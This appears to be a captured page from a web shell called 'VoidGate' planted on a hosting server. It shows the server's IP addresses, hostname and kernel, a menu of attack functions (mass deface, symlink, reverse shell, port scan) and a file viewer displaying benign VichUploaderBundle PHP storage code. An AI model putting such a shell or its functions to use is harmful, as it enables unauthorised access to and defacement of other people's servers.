ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
vich
/
uploader-bundle
/
src
/
Storage
/
Viewing: FileSystemStorage.php
<?php namespace Vich\UploaderBundle\Storage; use Symfony\Component\HttpFoundation\File\File; use Symfony\Component\HttpFoundation\File\UploadedFile; use Vich\UploaderBundle\Mapping\PropertyMapping; /** * FileSystemStorage. * * @author Dustin Dobervich <ddobervich@gmail.com> * @final */ class FileSystemStorage extends AbstractStorage { protected function doUpload(PropertyMapping $mapping, File $file, ?string $dir, string $name): ?File { $uploadDir = $mapping->getUploadDestination().\DIRECTORY_SEPARATOR.$dir; if ($file instanceof UploadedFile) { return $file->move($uploadDir, $name); } else { $targetPathname = $uploadDir.\DIRECTORY_SEPARATOR.$name; if (!\copy($file->getPathname(), $targetPathname)) { throw new \Exception('Could not copy file'); } return new File($targetPathname); } } protected function doRemove(PropertyMapping $mapping, ?string $dir, string $name): ?bool { $file = $this->doResolvePath($mapping, $dir, $name); return \file_exists($file) && \unlink($file); } protected function doResolvePath(PropertyMapping $mapping, ?string $dir, string $name, ?bool $relative = false): string { $path = !empty($dir) ? $dir.\DIRECTORY_SEPARATOR.$name : $name; if ($relative) { return $path; } return $mapping->getUploadDestination().\DIRECTORY_SEPARATOR.$path; } public function resolveUri($obj, ?string $fieldName = null, ?string $className = null): ?string { [$mapping, $name] = $this->getFilename($obj, $fieldName, $className); if (empty($name)) { return null; } $uploadDir = $this->convertWindowsDirectorySeparator($mapping->getUploadDir($obj)); $uploadDir = empty($uploadDir) ? '' : $uploadDir.'/'; return \sprintf('%s/%s', $mapping->getUriPrefix(), $uploadDir.$name); } private function convertWindowsDirectorySeparator(string $string): string { return \str_replace('\\', '/', $string); } }
Coded With 💗 by
0x6ick